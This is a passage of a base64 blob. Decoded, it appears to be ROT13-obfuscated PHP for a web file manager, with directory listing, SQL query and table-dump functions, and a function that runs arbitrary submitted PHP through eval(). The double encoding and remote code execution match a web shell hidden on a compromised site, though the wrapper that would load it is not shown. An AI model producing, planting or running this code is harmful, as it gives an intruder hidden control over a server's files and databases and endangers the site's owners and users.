8PTEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KSwyKS4nJmFvZmM7WG8nOw0KCQlyeWZydnMoJGZ2bXI8PTEwMjQqMTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQqMTAyNCksMikuJyZhb2ZjO1pvJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJmFvZmM7VG8nOw0KCQlyeWZydnMoJGZ2bXI8PTEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJmFvZmM7R28nOyAvLzopKSkNCgkJcnlmciBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZhb2ZjO0NvJzsgLy8gOy0pDQoJfSByeWZyIHsNCgkJdnModmZfc3Z5cigkcykpIGVyZ2hlYSBzdnlyZnZtcigkcyk7DQoJCSRmdm1yPTA7DQoJCSRxdT1iY3JhcXZlKCRzKTsNCgkJanV2eXIoKCRzdnlyPWVybnFxdmUoJHF1KSkhPT1zbnlmcikgew0KCQkJdnMoJHN2eXI9PScuJyB8fCAkc3Z5cj09Jy4uJykgcGJhZ3ZhaHI7DQoJCQl2cyh2Zl9zdnlyKCRzLicvJy4kc3Z5cikpICRmdm1yKz1zdnlyZnZtcigkcy4nLycuJHN2eXIpOw0KCQkJcnlmciAkZnZtcis9c3pfcXZlX2Z2bXIoJHMuJy8nLiRzdnlyLHNueWZyKTsNCgkJfQ0KCQlweWJmcnF2ZSgkcXUpOw0KCQllcmdoZWEgJGZ2bXIrc3Z5cmZ2bXIoJHMpOyANCgl9DQp9DQoNCi8vZnBuYSBxdmVycGdiZWwNCnNoYXBndmJhIHN6X2ZwbmFfcXZlKCRxdmVycGdiZWwsICRya2MgPSAnJywgJGdsY3IgPSAnbnl5JywgJHFiX2FiZ19zdnlncmUgPSBzbnlmcikgew0KCSRxdmUgPSAkYXF2ZSA9IG5lZW5sKCk7DQoJdnMoIXJ6Y2dsKCRya2MpKXsNCgkJJHJrYyA9ICcvXicgLiBmZ2VfZXJjeW5wcignKicsICcoLiopJywgZmdlX2VyY3lucHIoJy4nLCAnXFwuJywgJHJrYykpIC4gJyQvJzsNCgl9DQoJdnMoIXJ6Y2dsKCRnbGNyKSAmJiAkZ2xjciAhPT0gJ255eScpew0KCQkkc2hhcCA9ICd2Zl8nIC4gJGdsY3I7DQoJfQ0KCXZzKEB2Zl9xdmUoJHF2ZXJwZ2JlbCkpew0KCQkkc3UgPSBiY3JhcXZlKCRxdmVycGdiZWwpOw0KCQlqdXZ5ciAoc255ZnIgIT09ICgkc3Z5cmFuenIgPSBlcm5xcXZlKCRzdSkpKSB7DQoJCQl2cyhmaG9mZ2UoJHN2eXJhbnpyLCAwLCAxKSAhPSAnLicgfHwgJHFiX2FiZ19zdnlncmUpIHsNCgkJCQl2cygocnpjZ2woJGdsY3IpIHx8ICRnbGNyID09ICdueXknIHx8ICRzaGFwKCRxdmVycGdiZWwgLiAnLycgLiAkc3Z5cmFuenIpKSAmJiAocnpjZ2woJHJrYykgfHwgY2VydF96bmdwdSgkcmtjLCAkc3Z5cmFuenIpKSl7DQoJCQkJCSRxdmVbXSA9ICRzdnlyYW56cjsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcHliZnJxdmUoJHN1KTsNCgkJYW5nZmJlZygkcXZlKTsNCgl9DQoJZXJnaGVhICRxdmU7DQp9DQoNCnNoYXBndmJhIHN6X3l2YXgoJHRyZywkeXZheCwkYW56ciwkZ3ZneXI9JycpIHsNCgl2cyAocnpjZ2woJGd2Z3lyKSkgJGd2Z3lyPSRhbnpyLicgJy5vbmZyYW56cigkeXZheCk7DQoJZXJnaGVhICcmYW9mYzsmYW9mYzs8biB1ZXJzPSI/Jy4kdHJnLic9Jy5vbmZyNjRfcmFwYnFyKCR5dmF4KS4nIiBndmd5cj0iJy4kZ3ZneXIuJyI+Jy4kYW56ci4nPC9uPic7DQp9DQoNCnNoYXBndmJhIHN6X25lZV9nYl9iY2d2YmEoJG5lZSwkYSwkZnJ5PScnKXsNCglzYmVybnB1KCRuZWUgbmYgJGkpew0KCQkkbz0kaVskYV07DQoJCSRlcmYuPSc8YmNndmJhIGlueWhyPSInLiRvLiciICcuKCRmcnkgJiYgJGZyeT09JG8/J2ZyeXJwZ3JxJzonJykuJz4nLiRvLic8L2JjZ3ZiYT4nOw0KCX0NCgllcmdoZWEgJGVyZjsNCn0NCg0Kc2hhcGd2YmEgc3pfeW5hdF9zYmV6ICgkcGhlZXJhZz0ncmEnKXsNCmVyZ2hlYSAnDQo8c2JleiBhbnpyPSJwdW5hdHJfeW5hdCIgenJndWJxPSJjYmZnIiBucGd2YmE9IiI+DQoJPGZyeXJwZyBhbnpyPSJzel95bmF0IiBndmd5cj0iJy5fXygnWW5hdGhudHInKS4nIiBiYXB1bmF0cj0icWJwaHpyYWcuc2JlemZbXCdwdW5hdHJfeW5hdFwnXS5maG96dmcoKSIgPg0KCQk8YmNndmJhIGlueWhyPSJyYSIgJy4oJHBoZWVyYWc9PSdyYSc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdSYXR5dmZ1JykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJxciIgJy4oJHBoZWVyYWc9PSdxcic/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdUcmV6bmEnKS4nPC9iY2d2YmE+DQoJCTxiY2d2YmEgaW55aHI9ImVoIiAnLigkcGhlZXJhZz09J2VoJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ0VoZmZ2bmEnKS4nPC9iY2d2YmE+DQoJCTxiY2d2YmEgaW55aHI9InNlIiAnLigkcGhlZXJhZz09J3NlJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ1NlcmFwdScpLic8L2JjZ3ZiYT4NCgkJPGJjZ3ZiYSBpbnlocj0iaHgiICcuKCRwaGVlcmFnPT0naHgnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnSHhlbnZhdm5hJykuJzwvYmNndmJhPg0KCTwvZnJ5cnBnPg0KPC9zYmV6Pg0KJzsNCn0NCgkNCnNoYXBndmJhIHN6X2ViYmcoJHF2ZWFuenIpew0KCWVyZ2hlYSAoJHF2ZWFuenI9PScuJyBCRSAkcXZlYW56cj09Jy4uJyk7DQp9DQoNCnNoYXBndmJhIHN6X2N1YygkZmdldmF0KXsNCgkkcXZmY3lubF9yZWViZWY9dmF2X3RyZygncXZmY3lubF9yZWViZWYnKTsNCgl2YXZfZnJnKCdxdmZjeW5sX3JlZWJlZicsICcxJyk7DQoJYm9fZmduZWcoKTsNCglyaW55KGdldnooJGZnZXZhdCkpOw0KCSRncmtnID0gYm9fdHJnX3BiYWdyYWdmKCk7DQoJYm9fcmFxX3B5cm5hKCk7DQoJdmF2X2ZyZygncXZmY3lubF9yZWViZWYnLCAkcXZmY3lubF9yZWViZWYpOw0KCWVyZ2hlYSAkZ3JrZzsNCn0NCg0KLy9GVUJKIFFOR05PTkZSRg0Kc2hhcGd2YmEgc3pfZmR5X3BiYWFycGcoKXsNCgl0eWJvbnkgJHN6X3BiYXN2dDsNCgllcmdoZWEgYXJqIHpsZmR5digkc3pfcGJhc3Z0WydmZHlfZnJlaXJlJ10sICRzel9wYmFzdnRbJ2ZkeV9oZnJlYW56ciddLCAkc3pfcGJhc3Z0WydmZHlfY25mZmpiZXEnXSwgJHN6X3BiYXN2dFsnZmR5X3FvJ10pOw0KfQ0KDQpzaGFwZ3ZiYSBzel9mZHkoJGRocmVsKXsNCgl0eWJvbnkgJHN6X3BiYXN2dDsNCgkkZGhyZWw9Z2V2eigkZGhyZWwpOw0KCWJvX2ZnbmVnKCk7DQoJJHBiYWFycGd2YmEgPSBzel9mZHlfcGJhYXJwZygpOw0KCXZzICgkcGJhYXJwZ3ZiYS0+cGJhYXJwZ19yZWViZSkgew0KCQlib19yYXFfcHlybmEoKTsJDQoJCWVyZ2hlYSAkcGJhYXJwZ3ZiYS0+cGJhYXJwZ19yZWViZTsNCgl9DQoJJHBiYWFycGd2YmEtPmZyZ19wdW5lZnJnKCdoZ3M4Jyk7DQogICAgJGRocmV2cnEgPSB6bGZkeXZfZGhyZWwoJHBiYWFycGd2YmEsJGRocmVsKTsNCgl2cyAoJGRocmV2cnE9PT1zbnlmcikgew0KCQlib19yYXFfcHlybmEoKTsJDQoJCWVyZ2hlYSB6bGZkeXZfcmVlYmUoJHBiYWFycGd2YmEpOw0KICAgIH0gcnlmciB7DQoJCXZzKCFyemNnbCgkZGhyZXZycSkpew0KCQkJanV2eXIoJGViaiA9IHpsZmR5dl9zcmdwdV9uZmZicCgkZGhyZXZycSkpIHsNCgkJCQkkZGhyZWxfZXJmaHlnW109ICAkZWJqOw0KCQkJfQ0KCQl9DQoJCSRpcWh6Yz1yemNnbCgkZGhyZWxfZXJmaHlnKT8nJzppbmVfcmtjYmVnKCRkaHJlbF9lcmZoeWcsZ2Vocik7CQ0KCQlib19yYXFfcHlybmEoKTsJDQoJCSRwYmFhcnBndmJhLT5weWJmcigpOw0KCQllcmdoZWEgJzxjZXI+Jy5mZ2V2Y2Z5bmZ1cmYoJGlxaHpjKS4nPC9jZXI+JzsNCgl9DQp9DQoNCnNoYXBndmJhIHN6X29ucHhoY19nbm95cmYoJGdub3lyZiA9ICcqJywgJHNoeXlfb25weGhjID0gZ2Vocikgew0KCXR5Ym9ueSAkY25ndTsNCgkkemxmZHlxbyA9IHN6X2ZkeV9wYmFhcnBnKCk7DQoJJHFyeXZ6dmdyZSA9ICI7IFxhICBcYSI7DQoJdnMoJGdub3lyZiA9PSAnKicpCXsNCgkJJGdub3lyZiA9IG5lZW5sKCk7DQoJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJ0ZVQkogR05PWVJGJyk7DQoJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfZWJqKCRlcmZoeWcpKQl7DQoJCQkkZ25veXJmW10gPSAkZWJqWzBdOw0KCQl9DQoJfSByeWZyIHsNCgkJJGdub3lyZiA9IHZmX25lZW5sKCRnbm95cmYpID8gJGdub3lyZiA6IHJrY3licXIoJywnLCRnbm95cmYpOw0KCX0NCiAgICANCgkkZXJnaGVhPScnOw0KCXNiZXJucHUoJGdub3lyZiBuZiAkZ25veXIpCXsNCgkJJGVyZmh5ZyA9ICR6bGZkeXFvLT5kaHJlbCgnRlJZUlBHICogU0VCWiAnLiRnbm95cik7DQoJCSRhaHpfc3ZyeXFmID0gemxmZHl2X2Foel9zdnJ5cWYoJGVyZmh5Zyk7DQoJCSRlcmdoZWEuPSAnUUVCQyBHTk9ZUiBWUyBSS1ZGR0YgYCcuJGdub3lyLidgJy4kcXJ5dnp2Z3JlOw0KCQkkZWJqMiA9IHpsZmR5dl9zcmdwdV9lYmooJHpsZmR5cW8tPmRocmVsKCdGVUJKIFBFUk5HUiBHTk9ZUiAnLiRnbm95cikpOw0KCQkkZXJnaGVhLj0kZWJqMlsxXS4kcXJ5dnp2Z3JlOw0KICAgICAgICB2cyAoJHNoeXlfb25weGhjKSB7DQoJCXNiZSAoJHYgPSAwOyAkdiA8ICRhaHpfc3ZyeXFmOyAkdisrKSAgew0KCQkJanV2eXIoJGViaiA9IHpsZmR5dl9zcmdwdV9lYmooJGVyZmh5ZykpIHsNCgkJCQkkZXJnaGVhLj0gJ1ZBRlJFRyBWQUdCIGAnLiRnbm95ci4nYCBJTllIUkYoJzsNCgkJCQlzYmUoJHc9MDsgJHc8JGFoel9zdnJ5cWY7ICR3KyspCXsNCgkJCQkJJGVialskd10gPSBucXFmeW5mdXJmKCRlYmpbJHddKTsNCgkJCQkJJGVialskd10gPSBmZ2VfZXJjeW5wcigiXGEiLCJcXGEiLCRlYmpbJHddKTsNCgkJCQkJdnMgKHZmZnJnKCRlYmpbJHddKSkgeyAkZXJnaGVhLj0gJyInLiRlYmpbJHddLiciJyA7IH0gcnlmciB7ICRlcmdoZWEuPSAnIiInOyB9DQoJCQkJCXZzICgkdzwoJGFoel9zdnJ5cWYtMSkpIHsgJGVyZ2hlYS49ICcsJzsgfQ0KCQkJCX0NCgkJCQkkZXJnaGVhLj0gJyknLiRxcnl2enZncmU7DQoJCQl9DQoJCSAgfQ0KCQl9IHJ5ZnIgeyANCgkJJGVyZ2hlYSA9IGNlcnRfZXJjeW5wcigiI05IR0JfVkFQRVJaUkFHPVtccV0rICN2ZiIsICcnLCAkZXJnaGVhKTsNCgkJfQ0KCQkkZXJnaGVhLj0iXGFcYVxhIjsNCgl9DQoNCgkvL2ZuaXIgc3Z5cg0KICAgICRzdnlyPXR6cW5ncigiTC16LXFfVS12LWYiLGd2enIoKSkuJy5mZHknOw0KCSR1bmFxeXIgPSBzYmNyYSgkc3Z5ciwnaisnKTsNCglzamV2Z3IoJHVuYXF5ciwkZXJnaGVhKTsNCglzcHliZnIoJHVuYXF5cik7DQoJJG55cmVnID0gJ2JhUHl2cHg9InZzKHBiYXN2ZXooXCcnLiBfXygnU3Z5ciBmcnlycGdycScpLic6IFxhJy4gJHN2eXIuICcuIFxhJy5fXygnTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHN2eXI/JykgLiAnXCcpKSBxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCc/cXJ5cmdyPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgIC4gJ1wnIic7DQogICAgZXJnaGVhICRzdnlyLic6ICcuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRzdnlyLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4kc3Z5cikuJyA8biB1ZXJzPSIjIiBndmd5cj0iJyAuIF9fKCdRcnlyZ3InKSAuICcgJy4gJHN2eXIgLiAnIiAnIC4gJG55cmVnIC4gJz4nIC4gX18oJ1FyeXJncicpIC4gJzwvbj4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9lcmZnYmVyX2dub3lyZigkZmR5U3Z5ckdiUmtycGhncikgew0KCSR6bGZkeXFvID0gc3pfZmR5X3BiYWFycGcoKTsNCgkkcXJ5dnp2Z3JlID0gIjsgXGEgIFxhIjsNCiAgICAvLyBZYm5xIG5hcSBya2N5YnFyIGd1ciBmZHkgc3Z5cg0KICAgICRzID0gc2JjcmEoJGZkeVN2eXJHYlJrcnBoZ3IsImUrIik7DQogICAgJGZkeVN2eXIgPSBzZXJucSgkcyxzdnlyZnZtcigkZmR5U3Z5ckdiUmtycGhncikpOw0KICAgICRmZHlOZWVubCA9IHJrY3licXIoJHFyeXZ6dmdyZSwkZmR5U3Z5cik7DQoJDQogICAgLy9DZWJwcmZmIGd1ciBmZHkgc3Z5ciBvbCBmZ25ncnpyYWdmDQogICAgc2Jlcm5wdSAoJGZkeU5lZW5sIG5mICRmZ3pnKSB7DQogICAgICAgIHZzIChmZ2V5cmEoJGZnemcpPjMpew0KCQkJJGVyZmh5ZyA9ICR6bGZkeXFvLT5kaHJlbCgkZmd6Zyk7DQoJCQkJdnMgKCEkZXJmaHlnKXsNCgkJCQkJJGZkeVJlZWJlUGJxciA9IHpsZmR5dl9yZWVhYigkemxmZHlxby0+cGJhYXJwZ3ZiYSk7DQoJCQkJCSRmZHlSZWViZUdya2cgPSB6bGZkeXZfcmVlYmUoJHpsZmR5cW8tPnBiYWFycGd2YmEpOw0KCQkJCQkkZmR5Rmd6ZyAgICAgID0gJGZnemc7DQoJCQkJCW9lcm54Ow0KICAgICAgICAgICAJICAgICB9DQogICAgICAgICAgIAkgIH0NCiAgICAgICAgICAgfQ0KdnMgKHJ6Y2dsKCRmZHlSZWViZVBicXIpKSBlcmdoZWEgX18oJ0ZocHByZmYnKS4nIOKAlCAnLiRmZHlTdnlyR2JSa3JwaGdyOw0KcnlmciBlcmdoZWEgJGZkeVJlZWJlR3JrZy4nPG9lLz4nLiRmZ3pnOw0KfQ0KDQpzaGFwZ3ZiYSBzel92enRfeXZheCgkc3Z5cmFuenIpew0KCWVyZ2hlYSAnLi8nLm9uZnJhbnpyKF9fU1ZZUl9fKS4nP3Z6dD0nLm9uZnI2NF9yYXBicXIoJHN2eXJhbnpyKTsNCn0NCg0Kc2hhcGd2YmEgc3pfdWJ6cl9mZ2x5cigpew0KCWVyZ2hlYSAnDQp2YWNoZywgdmFjaGcuc3pfdmFjaGcgew0KCWdya2ctdmFxcmFnOiAyY2s7DQp9DQoNCnZhY2hnLCBncmtnbmVybiwgZnJ5cnBnLCB2YWNoZy5zel92YWNoZyB7DQoJcGJ5YmU6IG95bnB4Ow0KCXNiYWc6IGFiZXpueSA4Y2cgSXJlcW5hbiwgTmV2bnksIFVyeWlyZ3ZwbiwgZm5hZi1mcmV2czsNCglvYmVxcmUtcGJ5YmU6IG95bnB4Ow0KCW9ucHh0ZWJoYXEtcGJ5YmU6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOw0KCW9iZXFyZS1lbnF2aGY6IDA7DQoJY25xcXZhdDogMmNrOw0KfQ0KDQp2YWNoZy5zel92YWNoZyB7DQoJb25weHRlYmhhcTogI1NQU1BTUCBhYmFyICF2emNiZWduYWc7DQoJcGhlZmJlOiBjYnZhZ3JlOw0KfQ0KDQoudWJ6ciB7DQoJb25weHRlYmhhcS12em50cjogaGV5KCJxbmduOnZ6bnRyL2NhdDtvbmZyNjQsdklPQkVqMFhUdGJOTk5OQUZIdVJIdE5OTk9OTk5OTkRQTlpOTk5OYllEOUdOTk5OT1RxT0dIUk5OWC9WQWpKWDZETk5OdEVER1NFUy9zMzk2QndiLy8vL2dHMDJtZStzajY2RWd3NDMyR1JjM1pLUjJRTmUzR0xjMWw0emdRajIvN09aLzdPQmRJY3AvOHkzMXdwZGQ2cmFqcFVPMkd0djV3dGRJY29TaWVuMmFPTkkvQ204MkYwd2FrMEozR0h4ZEZ0djRyVXU0R2ZlcjRqYmZtMDI2aEN3bVRMcTZIZjNsYU5scUhPTjVYeTNzejVyZE1uSjdCUXR2Mkl0K0N3NGhMK1JqWXo1b0w5SC8vN3dzWWdQK2dCWDN3cHovNzFoMndMYjFITHU1bld5L2ZyUDN3UnoxMnh6V2VWTjF3WnovOW5INFl1MHIwMU95Vm5SLy8vcXVacVA3Vk4vL3NHTTJwM1pKNmFBMzBqczk1SXE0V3FLYktJYmY4YVI0cnNBLys2M1ZXdEZhTHV5N1M0cGZLZzg5VERIalkrL3d5MXA0MU5kK3NvMnR6Z1YxZVhuMlA0eFduVk4zd0xleUdqNWd3NDIzd0xhM3BLUjFtRGJrWlVPYzF5TTNRdHpkdnhmLyt6cHdZWDgzd0x4bHpaSTNHTHgvL1VaK2g3SnV6Z2UwYnFHY25Cd3NKV3NlVWN0LzhPZi83Z0ovN0lyKzRINTJRWnozWllPYTRkWXRBSVo2Wm1PM3lSc3lWaFkvK3dOLy8vMjBZQm13S2s4Lzd5b0pjV1QyUDh4M0diZldYWk4xbGp3YmNCRTFtTGM1UWZjdm5sK2xYQXVkWEZ4OEFKNi9zd2FmN0JtMmdhTWhtODg3bytKM25FTC8remY0ZVBSM0diZzdJODVvWGt3aFJOM2o0NUl1NWh1ZDZuejRwU2t0TU1KLzlkVmhqdFhsMGZKK2h3RzRHRGFnbTQyM1A4djNtSHcvK1hqL241cTZIWmtoWTZqbVFSZS8vLy9wZFdEc05OTk5YazBIeDVHLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vTk5KSVNvUk5OTk5NcVJJTHFTQWlNYUUzTEtXeU5SU3hvMld5VlJ5Z0xKcXlIekl1TVV5a2xKSDhOTk5OMkh5UkRJRGJIMkFMd0RMTGZOdlI4SDlMbVFMd0ljVE1Fa1p2UlB2Z1plSU1pYlplR3lEMlJGRURXMlNJanZhTG96ZEdIWWJidWFSMXQxblhURi9zQVpneDQwbE05WElZRHV0THhoTDdBa0RpS2xVSVNBYVhtRTY5ZGNrT0Nacm0wUkdORGxHSGlGYnRuVlNuQ3BBZEkvWjVxdW4yRXkyR3Z6bzZNK0RPUUwxS0EvRm9oOGtTWVQzcllRc3kySE5Pd3Z5QjFiMDEyTTNyeDF5TUlWSk5OekhHWDZZMGYzY0srd3c2Y2hNMk5qSkhpT0VuY3VmalpxSGh3UHZqUWpuNUlScUNWN2xhSHlwN2kxZExIRVlkaHM0MnVtNDVQT0NRZ2pOUGV6K0VRcGtXTE5OTk5OT1dFSDVSZXhXdHR0PT0iKTsNCglvbnB4dGViaGFxLWVyY3JuZzogYWItZXJjcm5nOw0KfSc7DQp9DQoNCnNoYXBndmJhIHN6X3BiYXN2dF9wdXJweG9ia19lYmooJGFuenIsJGlueWhyKSB7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJZXJnaGVhICc8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgdnE9InN6X3BiYXN2dF8nLiRpbnloci4nIiBhbnpyPSJzel9wYmFzdnRbJy4kaW55aHIuJ10iIGlueWhyPSIxIiAnLihyemNnbCgkc3pfcGJhc3Z0WyRpbnlocl0pPycnOidwdXJweHJxPSJnZWhyIicpLicgZ2xjcj0icHVycHhvYmsiPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48eW5vcnkgc2JlPSJzel9wYmFzdnRfJy4kaW55aHIuJyI+Jy4kYW56ci4nPC9ncT48L2dlPic7DQp9DQoNCnNoYXBndmJhIHN6X2NlYmdicGJ5KCkgew0KCXZzICh2ZmZyZygkX0ZSRUlSRVsnVUdHQ19GUFVSWlInXSkpIGVyZ2hlYSAkX0ZSRUlSRVsnVUdHQ19GUFVSWlInXS4nOi8vJzsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ1VHR0NGJ10pICYmICRfRlJFSVJFWydVR0dDRiddID09ICdiYScpIGVyZ2hlYSAndWdnY2Y6Ly8nOw0KCXZzICh2ZmZyZygkX0ZSRUlSRVsnRlJFSVJFX0NCRUcnXSkgJiYgJF9GUkVJUkVbJ0ZSRUlSRV9DQkVHJ10gPT0gNDQzKSBlcmdoZWEgJ3VnZ2NmOi8vJzsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ1VHR0NfS19TQkVKTkVRUlFfQ0VCR0InXSkgJiYgJF9GUkVJUkVbJ1VHR0NfS19TQkVKTkVRUlFfQ0VCR0InXSA9PSAndWdnY2YnKSBlcmdoZWEgJ3VnZ2NmOi8vJzsNCgllcmdoZWEgJ3VnZ2M6Ly8nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9mdmdyX2hleSgpIHsNCgllcmdoZWEgc3pfY2ViZ2JwYnkoKS4kX0ZSRUlSRVsnVUdHQ19VQkZHJ107DQp9DQoNCnNoYXBndmJhIHN6X2hleSgkc2h5eT1zbnlmcikgew0KCSR1YmZnPSRzaHl5P3N6X2Z2Z3JfaGV5KCk6Jy4nOw0KCWVyZ2hlYSAkdWJmZy4nLycub25mcmFuenIoX19TVllSX18pOw0KfQ0KDQpzaGFwZ3ZiYSBzel91YnpyKCRzaHl5PXNueWZyKXsNCgllcmdoZWEgJyZhb2ZjOzxuIHVlcnM9Iicuc3pfaGV5KCRzaHl5KS4nIiBndmd5cj0iJy5fXygnVWJ6cicpLiciPjxmY25hIHB5bmZmPSJ1YnpyIj4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+PC9uPic7DQp9DQoNCnNoYXBndmJhIHN6X2VoYV92YWNoZygkeWF0KSB7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJJGVyZ2hlYSA9ICFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfJy4keWF0LidfcGJhZmJ5ciddKSA/IA0KCScNCgkJCQk8c2JleiAgenJndWJxPSJjYmZnIiBucGd2YmE9Iicuc3pfaGV5KCkuJyIgZmdseXI9InF2ZmN5bmw6dmF5dmFyIj4NCgkJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSInLiR5YXQuJ2VoYSIgaW55aHI9IicuZmdlZ2JoY2NyZSgkeWF0KS4nICcuX18oJ1BiYWZieXInKS4nIj4NCgkJCQk8L3NiZXo+DQonIDogJyc7DQoJZXJnaGVhICRlcmdoZWE7DQp9DQoNCnNoYXBndmJhIHN6X2hleV9jZWJrbCgkem5ncHVyZikgew0KCSR5dmF4ID0gZmdlX2VyY3lucHIoJyZuemM7JywnJicsJHpuZ3B1cmZbMl0pOw0KCSRoZXkgPSB2ZmZyZygkX1RSR1snaGV5J10pPyRfVFJHWydoZXknXTonJzsNCgkkY25lZnJfaGV5ID0gY25lZnJfaGV5KCRoZXkpOw0KCSR1YmZnID0gJGNuZWZyX2hleVsnZnB1cnpyJ10uJzovLycuJGNuZWZyX2hleVsndWJmZyddLicvJzsNCgl2cyAoZmhvZmdlKCR5dmF4LDAsMik9PScvLycpIHsNCgkJJHl2YXggPSBmaG9mZ2VfZXJjeW5wcigkeXZheCxzel9jZWJnYnBieSgpLDAsMik7DQoJfSByeWZydnMgKGZob2ZnZSgkeXZheCwwLDEpPT0nLycpIHsNCgkJJHl2YXggPSBmaG9mZ2VfZXJjeW5wcigkeXZheCwkdWJmZywwLDEpOwkNCgl9IHJ5ZnJ2cyAoZmhvZmdlKCR5dmF4LDAsMik9PScuLycpIHsNCgkJJHl2YXggPSBmaG9mZ2VfZXJjeW5wcigkeXZheCwkdWJmZywwLDIpOwkNCgl9IHJ5ZnJ2cyAoZmhvZmdlKCR5dmF4LDAsNCk9PSd1Z2djJykgew0KCQkvL255eXJmIHpucHVyYSBqaGFxcmVmcHViYQ0KCX0gcnlmciB7DQoJCSR5dmF4ID0gJHViZmcuJHl2YXg7DQoJfSANCgl2cyAoJHpuZ3B1cmZbMV09PSd1ZXJzJyAmJiAhZmdlZXZjYmYoJHl2YXgsICdwZmYnKSkgew0KCQkkb25mciA9IHN6X2Z2Z3JfaGV5KCkuJy8nLm9uZnJhbnpyKF9fU1ZZUl9fKTsNCgkJJG9uZnJkID0gJG9uZnIuJz9jZWJrbD1nZWhyJmhleT0nOw0KCQkkeXZheCA9ICRvbmZyZC5oZXlyYXBicXIoJHl2YXgpOw0KCX0gcnlmcnZzIChmZ2VldmNiZigkeXZheCwgJ3BmZicpKXsNCgkJLy/QutCw0Lot0YLQviDRgtC+0LbQtSDQv9C+0LTQvNC10L3Rj9GC0Ywg0L3QsNC00L4NCgl9DQoJZXJnaGVhICR6bmdwdXJmWzFdLic9IicuJHl2YXguJyInOw0KfQ0KIA0Kc2hhcGd2YmEgc3pfZ2N5X3NiZXooJHlhdF9nY3kpIHsNCgl0eWJvbnkgJHskeWF0X2djeS4nX2dyemN5bmdyZid9Ow0KCSRnY3lfbmVlID0gd2ZiYV9xcnBicXIoJHskeWF0X2djeS4nX2dyemN5bmdyZid9LGdlaHIpOw0KCSRmZ2UgPSAnJzsNCglzYmVybnB1ICgkZ2N5X25lZSBuZiAkeGdjeT0+JGlnY3kpIHsNCgkJJGZnZSAuPSAnPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9IicuJHlhdF9nY3kuJ19hbnpyW10iIGlueWhyPSInLiR4Z2N5LiciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48Z3JrZ25lcm4gYW56cj0iJy4keWF0X2djeS4nX2lueWhyW10iICBwYnlmPSI1NSIgZWJqZj0iNSIgcHluZmY9Imdya2duZXJuX3ZhY2hnIj4nLiRpZ2N5Lic8L2dya2duZXJuPiA8dmFjaGcgYW56cj0icXJ5XycuZW5hcSgpLiciIGdsY3I9Im9oZ2diYSIgYmFQeXZweD0iZ3V2Zi5jbmVyYWdBYnFyLmNuZXJhZ0FicXIuZXJ6YmlyKCk7IiBpbnlocj0iJy5fXygnUXJ5cmdyJykuJyIvPjwvZ3E+PC9nZT4nOw0KCX0NCmVyZ2hlYSAnDQo8Z25veXI+DQo8Z2U+PGd1IHBieWZjbmE9IjIiPicuZmdlZ2JoY2NyZSgkeWF0X2djeSkuJyAnLl9fKCdncnpjeW5ncmYnKS4nICcuc3pfZWhhX3ZhY2hnKCR5YXRfZ2N5KS4nPC9ndT48L2dlPg0KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+DQo8dmFjaGcgZ2xjcj0idXZxcXJhIiBpbnlocj0iJy4keWF0X2djeS4nIiBhbnpyPSJnY3lfcnF2Z3JxIj4NCjxnZT48Z3EgcHluZmY9ImViajEiPicuX18oJ0FuenInKS4nPC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ0lueWhyJykuJzwvZ3E+PC9nZT4NCicuJGZnZS4nDQo8Z2U+PGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmozIj48dmFjaGcgYW56cj0iZXJmIiBnbGNyPSJvaGdnYmEiIGJhUHl2cHg9InFicGh6cmF